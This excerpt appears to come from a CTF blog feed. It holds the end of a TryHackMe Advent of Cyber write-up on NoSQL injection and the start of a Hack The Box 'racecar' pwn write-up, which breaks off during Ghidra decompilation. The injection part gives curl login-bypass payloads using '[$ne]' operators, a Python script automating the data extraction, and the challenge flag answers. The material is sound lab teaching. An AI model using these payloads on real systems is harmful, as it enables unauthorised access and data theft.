</span></span><span style="display:flex;"><span>Connecting to:          mongodb://127.0.0.1:27017/?directConnection<span style="color:#f92672">=</span>true&amp;serverSelectionTimeoutMS<span style="color:#f92672">=</span><span style="color:#ae81ff">2000</span>
</span></span><span style="display:flex;"><span>Using MongoDB:          5.0.3
</span></span><span style="display:flex;"><span>Using Mongosh:          1.1.0
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>For mongosh info see: https://docs.mongodb.com/mongodb-shell/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>------
</span></span><span style="display:flex;"><span>   The server generated these startup warnings when booting:
</span></span><span style="display:flex;"><span>   2021-12-21T08:39:28.330+00:00: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine. See http://dochub.mongodb.org/core/prodnotes-filesystem
</span></span><span style="display:flex;"><span>   2021-12-21T08:39:50.170+00:00: Access control is not enabled <span style="color:#66d9ef">for</span> the database. Read and write access to data and configuration is unrestricted
</span></span><span style="display:flex;"><span>------
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Warning: Found ~/.mongorc.js, but not ~/.mongoshrc.js. ~/.mongorc.js will not be loaded.
</span></span><span style="display:flex;"><span>  You may want to copy or rename ~/.mongorc.js to ~/.mongoshrc.js.
</span></span><span style="display:flex;"><span>test&gt; 
</span></span></code></pre></div><p>As you may have noticed, I used <code>mongosh</code> shell instead of <code>mongo</code> as the task suggested, since <code>mongo</code> shell will soon be deprecated and removed.</p>
<p>The next steps are quite obvious if you consult <a href="https://docs.mongodb.com/manual/tutorial/getting-started/">the documentation</a>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span>test<span style="color:#f92672">&gt;</span> <span style="color:#66d9ef">show</span> dbs
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">admin</span>     <span style="color:#ae81ff">41</span> kB
</span></span><span style="display:flex;"><span>config  <span style="color:#ae81ff">36</span>.<span style="color:#ae81ff">9</span> kB
</span></span><span style="display:flex;"><span>flagdb    <span style="color:#ae81ff">41</span> kB
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">local</span>   <span style="color:#ae81ff">73</span>.<span style="color:#ae81ff">7</span> kB
</span></span></code></pre></div><p>See that <code>flagdb</code> database? Our first task is to simply query its data.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span>test<span style="color:#f92672">&gt;</span> use flagdb
</span></span><span style="display:flex;"><span>switched <span style="color:#66d9ef">to</span> db flagdb
</span></span><span style="display:flex;"><span>flagdb<span style="color:#f92672">&gt;</span> <span style="color:#66d9ef">show</span> collections
</span></span><span style="display:flex;"><span>flagColl
</span></span><span style="display:flex;"><span>flagdb<span style="color:#f92672">&gt;</span> <span style="color:#66d9ef">show</span> tables
</span></span><span style="display:flex;"><span>flagColl
</span></span><span style="display:flex;"><span>flagdb<span style="color:#f92672">&gt;</span> db.flagColl.find()
</span></span><span style="display:flex;"><span>[
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">{</span>
</span></span><span style="display:flex;"><span>    _id: ObjectId(<span style="color:#e6db74">&#34;618806af0afbc09bdf42bd6a&#34;</span>),
</span></span><span style="display:flex;"><span>    flag: <span style="color:#e6db74">&#39;THM{8814a5e6662a9763f7df23ee59d944f9}&#39;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">}</span>
</span></span><span style="display:flex;"><span>]
</span></span></code></pre></div><p>And that&rsquo;s for our first task. Onto our second task - inject it.</p>
<p>Here&rsquo;s how its web interface look like in a browser:

  <img src="/img/adventOfCyber3/day7/web-login.png#center" alt="">

</p>
<p>And if you take a look at DevTool while sending dummy username and password, you will understand what&rsquo;s going on behind the scene:

  <img src="/img/adventOfCyber3/day7/post-request.png#center" alt="">

</p>
<p>In short, it sends a POST request in plaintext to <code>/login</code>. So I tried to do it in the command line:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ curl -X POST -d <span style="color:#e6db74">&#34;username=admin&amp;password=admin&#34;</span> http://10.10.92.86/login
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span><span style="color:#e6db74">&#34;msg&#34;</span>:<span style="color:#e6db74">&#34;Bad Creds&#34;</span><span style="color:#f92672">}</span>  
</span></span><span style="display:flex;"><span>$ curl -X POST -d <span style="color:#e6db74">&#34;username=admin&amp;password[</span>$ne<span style="color:#e6db74">]=admin&#34;</span> http://10.10.92.86/login
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span><span style="color:#e6db74">&#34;msg&#34;</span>:<span style="color:#e6db74">&#34;Bad Creds&#34;</span><span style="color:#f92672">}</span>    
</span></span></code></pre></div><p>Oops, forgot to escape it.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ curl -X POST -d <span style="color:#e6db74">&#34;username=admin&amp;password[\$ne]=admin&#34;</span> http://10.10.92.86/login
</span></span><span style="display:flex;"><span>Found. Redirecting to /dashboard
</span></span></code></pre></div><p>It worked!</p>
<p>The rest of the task&rsquo;s basically doing the same with <code>[$ne]</code> payload. Therefore, I automated it a bit with a Python script. Enjoy. :D</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python3</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> requests<span style="color:#f92672">,</span> re
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>location <span style="color:#f92672">=</span> input(<span style="color:#e6db74">&#34;Enter server&#39;s address (default to http://0.0.0.0/): &#34;</span>) <span style="color:#f92672">or</span> <span style="color:#e6db74">&#39;http://0.0.0.0/&#39;</span>
</span></span><span style="display:flex;"><span>location <span style="color:#f92672">=</span> [location <span style="color:#66d9ef">if</span> location[<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>] <span style="color:#f92672">==</span> <span style="color:#e6db74">&#39;/&#39;</span> <span style="color:#66d9ef">else</span> location <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;/&#39;</span>][<span style="color:#ae81ff">0</span>]
</span></span><span style="display:flex;"><span>location <span style="color:#f92672">=</span> [location <span style="color:#66d9ef">if</span> location[<span style="color:#ae81ff">0</span>:<span style="color:#ae81ff">4</span>] <span style="color:#f92672">==</span> <span style="color:#e6db74">&#39;http&#39;</span> <span style="color:#66d9ef">else</span> <span style="color:#e6db74">&#39;http://&#39;</span> <span style="color:#f92672">+</span> location][<span style="color:#ae81ff">0</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">login</span>(session):
</span></span><span style="display:flex;"><span>        credentials <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#39;username&#39;</span>: <span style="color:#e6db74">&#39;admin&#39;</span>, <span style="color:#e6db74">&#39;password[$ne]&#39;</span>: <span style="color:#e6db74">&#39;admin&#39;</span>}
</span></span><span style="display:flex;"><span>        response <span style="color:#f92672">=</span> session<span style="color:#f92672">.</span>post(location <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;login&#39;</span>, data<span style="color:#f92672">=</span>credentials)
</span></span><span style="display:flex;"><span>        print(<span style="color:#e6db74">&#34;Logged in successfully&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">getFlag1</span>(session):
</span></span><span style="display:flex;"><span>        response <span style="color:#f92672">=</span> session<span style="color:#f92672">.</span>get(location <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;flag&#39;</span>)
</span></span><span style="display:flex;"><span>        epr <span style="color:#f92672">=</span> re<span style="color:#f92672">.</span>compile(<span style="color:#e6db74">&#34;(THM\{.+\})&#34;</span>)
</span></span><span style="display:flex;"><span>        print(<span style="color:#e6db74">&#34;Your first flag is: </span><span style="color:#e6db74">{}</span><span style="color:#e6db74">&#34;</span><span style="color:#f92672">.</span>format(epr<span style="color:#f92672">.</span>search(response<span style="color:#f92672">.</span>text)<span style="color:#f92672">.</span>group(<span style="color:#ae81ff">0</span>)))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">getFlag2</span>(session):
</span></span><span style="display:flex;"><span>        params <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#34;username[$ne]&#34;</span>: <span style="color:#e6db74">&#34;lmao&#34;</span>, <span style="color:#e6db74">&#34;role&#34;</span>: <span style="color:#e6db74">&#34;guest&#34;</span>}
</span></span><span style="display:flex;"><span>        response <span style="color:#f92672">=</span> session<span style="color:#f92672">.</span>get(location <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;search&#39;</span>, params<span style="color:#f92672">=</span>params)
</span></span><span style="display:flex;"><span>        epr <span style="color:#f92672">=</span> re<span style="color:#f92672">.</span>compile(<span style="color:#e6db74">&#34;(THM\{.+\})&#34;</span>)
</span></span><span style="display:flex;"><span>        print(<span style="color:#e6db74">&#34;Your second flag is: </span><span style="color:#e6db74">{}</span><span style="color:#e6db74">&#34;</span><span style="color:#f92672">.</span>format(epr<span style="color:#f92672">.</span>search(response<span style="color:#f92672">.</span>text)<span style="color:#f92672">.</span>group(<span style="color:#ae81ff">0</span>)))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">getFlag3</span>(session):
</span></span><span style="display:flex;"><span>        params <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#34;username[$ne]&#34;</span>: <span style="color:#e6db74">&#34;lmao&#34;</span>, <span style="color:#e6db74">&#34;role[$ne]&#34;</span>: <span style="color:#e6db74">&#34;lmao&#34;</span>}
</span></span><span style="display:flex;"><span>        response <span style="color:#f92672">=</span> session<span style="color:#f92672">.</span>get(location <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;search&#39;</span>, params<span style="color:#f92672">=</span>params)
</span></span><span style="display:flex;"><span>        epr <span style="color:#f92672">=</span> re<span style="color:#f92672">.</span>compile(<span style="color:#e6db74">&#34;(ID:[0-9a-z]*:mcskidy:[a-z]*)&#34;</span>)
</span></span><span style="display:flex;"><span>        print(<span style="color:#e6db74">&#34;Your last flag is: </span><span style="color:#e6db74">{}</span><span style="color:#e6db74">&#34;</span><span style="color:#f92672">.</span>format(epr<span style="color:#f92672">.</span>search(response<span style="color:#f92672">.</span>text)<span style="color:#f92672">.</span>group(<span style="color:#ae81ff">0</span>)))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">main</span>():
</span></span><span style="display:flex;"><span>        session <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>Session()
</span></span><span style="display:flex;"><span>        login(session)
</span></span><span style="display:flex;"><span>        getFlag1(session)
</span></span><span style="display:flex;"><span>        getFlag2(session)
</span></span><span style="display:flex;"><span>        getFlag3(session)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> __name__ <span style="color:#f92672">==</span> <span style="color:#e6db74">&#39;__main__&#39;</span>:
</span></span><span style="display:flex;"><span>        main()
</span></span></code></pre></div><p>&hellip; You can pretty much do the same with <code>BurpSuite</code>, even faster. However, Burp&rsquo;ll eat up all RAM and halt this ancient laptop of mine, so no Burp for me. (;-;)</p>
<p>And that&rsquo;s for today&rsquo;s challenge!</p>
<p><code>Interact with the MongoDB server to find the flag. What is the flag?</code> THM{8814a5e6662a9763f7df23ee59d944f9}</p>
<p><code>We discussed how to bypass login pages as an admin. Can you log into the application that Grinch Enterprise controls as admin and retrieve the flag?</code> THM{b6b304f5d5834a4d089b570840b467a8}</p>
<p><code>Once you are logged in, use the gift search page to list all usernames that have guest roles. What is the flag?</code>  THM{2ec099f2d602cc4968c5267970be1326}</p>
<p><code>Use the gift search page to perform NoSQL injection and retrieve the mcskidy record. What is the details record?</code> ID:6184f516ef6da50433f100f4:mcskidy:admin</p>
<p>
  <img src="/img/adventOfCyber3/day7/answers.png#center" alt="">

</p>
]]></content:encoded>
    </item>
    <item>
      <title>Hack The Box Pwn challenge - racecar</title>
      <link>https://www.akihakune.com/blog/racecar/</link>
      <pubDate>Fri, 17 Dec 2021 06:23:50 +0700</pubDate>
      <guid>https://www.akihakune.com/blog/racecar/</guid>
      <description>A writeup for Hack The Box&amp;rsquo;s racecar pwn challenge</description>
      <content:encoded><![CDATA[<p>Short summary:</p>
<ul>
<li>Here&rsquo;s the challenge: <a href="/data/racecar/racecar.zip">racecar.zip</a>, zip password is <code>hackthebox</code></li>
<li>Good luck writing your pwn script</li>
</ul>
<hr>
<p>So, it&rsquo;s a pwn challenge. For those first-timers, basically you&rsquo;re given a program that&rsquo;s also being run on a server. The task is to find a flaw in that program so that you can retrieve the real flag from the server.</p>
<p>This time, we&rsquo;re given a binary file named <code>racecar</code>. You can <a href="/data/racecar/racecar.zip">grab the binary and try it out yourself</a>, since it&rsquo;s a fun challenge.</p>
<p>First things first, let&rsquo;s check what&rsquo;s it.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ file racecar 
</span></span><span style="display:flex;"><span>racecar: ELF 32-bit LSB pie executable, Intel 80386, version <span style="color:#ae81ff">1</span> <span style="color:#f92672">(</span>SYSV<span style="color:#f92672">)</span>, dynamically linked, interpreter /lib/ld-linux.so.2, <span style="color:#66d9ef">for</span> GNU/Linux 3.2.0, BuildID<span style="color:#f92672">[</span>sha1<span style="color:#f92672">]=</span>c5631a370f7704c44312f6692e1da56c25c1863c, not stripped
</span></span></code></pre></div><p>ELF binary, not stripped - which means debugging information&rsquo;s still there. So let&rsquo;s find out what it has.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ readelf -s racecar                                                                                           <span style="color:#ae81ff">1</span> ⨯
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Symbol table <span style="color:#e6db74">&#39;.dynsym&#39;</span> contains <span style="color:#ae81ff">27</span> entries:
</span></span><span style="display:flex;"><span>   Num:    Value  Size Type    Bind   Vis      Ndx Name
</span></span><span style="display:flex;"><span>     0: <span style="color:#ae81ff">00000000</span>     <span style="color:#ae81ff">0</span> NOTYPE  LOCAL  DEFAULT  UND 
</span></span><span style="display:flex;"><span>     1: <span style="color:#ae81ff">00000000</span>     <span style="color:#ae81ff">0</span> FUNC    GLOBAL DEFAULT  UND strcmp@GLIBC_2.0 <span style="color:#f92672">(</span>2<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>     2: <span style="color:#ae81ff">00000000</span>     <span style="color:#ae81ff">0</span> FUNC    GLOBAL DEFAULT  UND read@GLIBC_2.0 <span style="color:#f92672">(</span>2<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>     3: <span style="color:#ae81ff">00000000</span>     <span style="color:#ae81ff">0</span> NOTYPE  WEAK   DEFAULT  UND _ITM_deregisterT<span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>     4: <span style="color:#ae81ff">00000000</span>     <span style="color:#ae81ff">0</span> FUNC    GLOBAL DEFAULT  UND printf@GLIBC_2.0 <span style="color:#f92672">(</span>2<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>     5: <span style="color:#ae81ff">00000000</span>     <span style="color:#ae81ff">0</span> FUNC    GLOBAL DEFAULT  UND fgets@GLIBC_2.0 <span style="color:#f92672">(</span>2<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>     6: <span style="color:#ae81ff">00000000</span>     <span style="color:#ae81ff">0</span> FUNC    GLOBAL DEFAULT  UND time@GLIBC_2.0 <span style="color:#f92672">(</span>2<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>     7: <span style="color:#ae81ff">00000000</span>     <span style="color:#ae81ff">0</span> FUNC    GLOBAL DEFAULT  UND sleep@GLIBC_2.0 <span style="color:#f92672">(</span>2<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>     8: <span style="color:#ae81ff">00000000</span>     <span style="color:#ae81ff">0</span> FUNC    GLOBAL DEFAULT  UND alarm@GLIBC_2.0 <span style="color:#f92672">(</span>2<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>     9: <span style="color:#ae81ff">00000000</span>     <span style="color:#ae81ff">0</span> FUNC    GLOBAL DEFAULT  UND __<span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>@GLIBC_2.4 <span style="color:#f92672">(</span>3<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>    10: <span style="color:#ae81ff">00000000</span>     <span style="color:#ae81ff">0</span> FUNC    WEAK   DEFAULT  UND <span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>@GLIBC_2.1.3 <span style="color:#f92672">(</span>4<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>    11: <span style="color:#ae81ff">00000000</span>     <span style="color:#ae81ff">0</span> FUNC    GLOBAL DEFAULT  UND malloc@GLIBC_2.0 <span style="color:#f92672">(</span>2<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>    12: <span style="color:#ae81ff">00000000</span>     <span style="color:#ae81ff">0</span> FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.0 <span style="color:#f92672">(</span>2<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>    13: <span style="color:#ae81ff">00000000</span>     <span style="color:#ae81ff">0</span> NOTYPE  WEAK   DEFAULT  UND __gmon_start__
</span></span><span style="display:flex;"><span>    14: <span style="color:#ae81ff">00000000</span>     <span style="color:#ae81ff">0</span> FUNC    GLOBAL DEFAULT  UND exit@GLIBC_2.0 <span style="color:#f92672">(</span>2<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    ... <span style="color:#75715e"># and a lot more so I&#39;ll just skip straight to needed part</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    84: <span style="color:#ae81ff">00000000</span>     <span style="color:#ae81ff">0</span> OBJECT  GLOBAL DEFAULT  UND stdout@@GLIBC_2.0
</span></span><span style="display:flex;"><span>    85: <span style="color:#ae81ff">00004010</span>     <span style="color:#ae81ff">0</span> NOTYPE  GLOBAL DEFAULT   <span style="color:#ae81ff">24</span> __bss_start
</span></span><span style="display:flex;"><span>    86: 000013e1   <span style="color:#ae81ff">168</span> FUNC    GLOBAL DEFAULT   <span style="color:#ae81ff">14</span> main
</span></span><span style="display:flex;"><span>    87: <span style="color:#ae81ff">00004008</span>     <span style="color:#ae81ff">4</span> OBJECT  GLOBAL DEFAULT   <span style="color:#ae81ff">23</span> coins
</span></span><span style="display:flex;"><span>    88: <span style="color:#ae81ff">00001500</span>    <span style="color:#ae81ff">20</span> FUNC    GLOBAL HIDDEN    <span style="color:#ae81ff">14</span> __stack_chk_fail<span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>    89: 0000400c     <span style="color:#ae81ff">4</span> OBJECT  GLOBAL DEFAULT   <span style="color:#ae81ff">23</span> check
</span></span><span style="display:flex;"><span>    90: <span style="color:#ae81ff">00000000</span>     <span style="color:#ae81ff">0</span> FUNC    GLOBAL DEFAULT  UND atoi@@GLIBC_2.0
</span></span><span style="display:flex;"><span>    91: <span style="color:#ae81ff">00004010</span>     <span style="color:#ae81ff">0</span> OBJECT  GLOBAL HIDDEN    <span style="color:#ae81ff">23</span> __TMC_END__
</span></span><span style="display:flex;"><span>    92: <span style="color:#ae81ff">00000000</span>     <span style="color:#ae81ff">0</span> NOTYPE  WEAK   DEFAULT  UND _ITM_registerTMC<span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>    93: <span style="color:#ae81ff">00000618</span>     <span style="color:#ae81ff">0</span> FUNC    GLOBAL DEFAULT   <span style="color:#ae81ff">11</span> _init
</span></span><span style="display:flex;"><span>    94: <span style="color:#ae81ff">00001082</span>   <span style="color:#ae81ff">336</span> FUNC    GLOBAL DEFAULT   <span style="color:#ae81ff">14</span> info
</span></span><span style="display:flex;"><span>    95: 00000b93   <span style="color:#ae81ff">111</span> FUNC    GLOBAL DEFAULT   <span style="color:#ae81ff">14</span> setup
</span></span></code></pre></div><p>See that <code>main</code> function? We go there. :D</p>
<p>Here&rsquo;s what I&rsquo;d got in <a href="https://ghidra-sre.org/">Ghidra</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">main</span>(<span style="color:#66d9ef">void</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">int</span> iVar1;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">int</span> iVar2;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">int</span> in_GS_OFFSET;
</span></span><span style="display:flex;"><span>  
</span></span><span style="display:flex;"><span>  iVar1 <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>(<span style="color:#66d9ef">int</span> <span style="color:#f92672">*</span>)(in_GS_OFFSET <span style="color:#f92672">+</span> <span style="color:#ae81ff">0x14</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">setup</span>();
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">banner</span>();
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">info</span>();
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">while</span> (check <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span>    iVar2 <span style="color:#f92672">=</span> <span style="color:#a6e22e">menu</span>();
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (iVar2 <span style="color:#f92672">==</span> <span style="color:#ae81ff">1</span>) {
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">car_info</span>();
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">if</span> (iVar2 <span style="color:#f92672">==</span> <span style="color:#ae81ff">2</span>) {
</span></span><span style="display:flex;"><span>        check <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">car_menu</span>();
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">%s[-] Invalid choice!%s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>,<span style="color:#f92672">&amp;</span>DAT_00011548,<span style="color:#f92672">&amp;</span>DAT_00011538);
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> (iVar1 <span style="color:#f92672">!=</span> <span style="color:#f92672">*</span>(<span style="color:#66d9ef">int</span> <span style="color:#f92672">*</span>)(in_GS_OFFSET <span style="color:#f92672">+</span> <span style="color:#ae81ff">0x14</span>)) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">__stack_chk_fail_local</span>();
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Already got the rough idea? I&rsquo;ve checked <code>car_info()</code> and some other functions, but seems like <code>car_menu()</code> is the only one has some interesting bits to it. Here&rsquo;s it:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">car_menu</span>(<span style="color:#66d9ef">void</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">int</span> iVar1;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">int</span> iVar2;
</span></span><span style="display:flex;"><span>  uint __seed;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">int</span> iVar3;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">size_t</span> sVar4;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>__format;
</span></span><span style="display:flex;"><span>  FILE <span style="color:#f92672">*</span>__stream;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">int</span> in_GS_OFFSET;
</span></span><span style="display:flex;"><span>  undefined <span style="color:#f92672">*</span>puVar5;
</span></span><span style="display:flex;"><span>  undefined4 uVar6;
</span></span><span style="display:flex;"><span>  undefined4 uVar7;
</span></span><span style="display:flex;"><span>  uint local_54;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">char</span> local_3c [<span style="color:#ae81ff">44</span>];
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">int</span> local_10;
</span></span><span style="display:flex;"><span>  
</span></span><span style="display:flex;"><span>  local_10 <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>(<span style="color:#66d9ef">int</span> <span style="color:#f92672">*</span>)(in_GS_OFFSET <span style="color:#f92672">+</span> <span style="color:#ae81ff">0x14</span>);
</span></span><span style="display:flex;"><span>  uVar6 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0xffffffff</span>;
</span></span><span style="display:flex;"><span>  uVar7 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0xffffffff</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">do</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">printf</span>(<span style="color:#f92672">&amp;</span>DAT_00011948);
</span></span><span style="display:flex;"><span>    iVar1 <span style="color:#f92672">=</span> <span style="color:#a6e22e">read_int</span>(uVar6,uVar7);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> ((iVar1 <span style="color:#f92672">!=</span> <span style="color:#ae81ff">2</span>) <span style="color:#f92672">&amp;&amp;</span> (iVar1 <span style="color:#f92672">!=</span> <span style="color:#ae81ff">1</span>)) {
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">%s[-] Invalid choice!%s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>,<span style="color:#f92672">&amp;</span>DAT_00011548,<span style="color:#f92672">&amp;</span>DAT_00011538);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  } <span style="color:#66d9ef">while</span> ((iVar1 <span style="color:#f92672">!=</span> <span style="color:#ae81ff">2</span>) <span style="color:#f92672">&amp;&amp;</span> (iVar1 <span style="color:#f92672">!=</span> <span style="color:#ae81ff">1</span>));
</span></span><span style="display:flex;"><span>  iVar2 <span style="color:#f92672">=</span> <span style="color:#a6e22e">race_type</span>();
</span></span><span style="display:flex;"><span>  __seed <span style="color:#f92672">=</span> <span style="color:#a6e22e">time</span>((<span style="color:#66d9ef">time_t</span> <span style="color:#f92672">*</span>)<span style="color:#ae81ff">0x0</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">srand</span>(__seed);
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> (((iVar1 <span style="color:#f92672">==</span> <span style="color:#ae81ff">1</span>) <span style="color:#f92672">&amp;&amp;</span> (iVar2 <span style="color:#f92672">==</span> <span style="color:#ae81ff">2</span>)) <span style="color:#f92672">||</span> ((iVar1 <span style="color:#f92672">==</span> <span style="color:#ae81ff">2</span> <span style="color:#f92672">&amp;&amp;</span> (iVar2 <span style="color:#f92672">==</span> <span style="color:#ae81ff">2</span>)))) {
</span></span><span style="display:flex;"><span>    iVar2 <span style="color:#f92672">=</span> <span style="color:#a6e22e">rand</span>();
</span></span><span style="display:flex;"><span>    iVar2 <span style="color:#f92672">=</span> iVar2 <span style="color:#f92672">%</span> <span style="color:#ae81ff">10</span>;
</span></span><span style="display:flex;"><span>    iVar3 <span style="color:#f92672">=</span> <span style="color:#a6e22e">rand</span>();
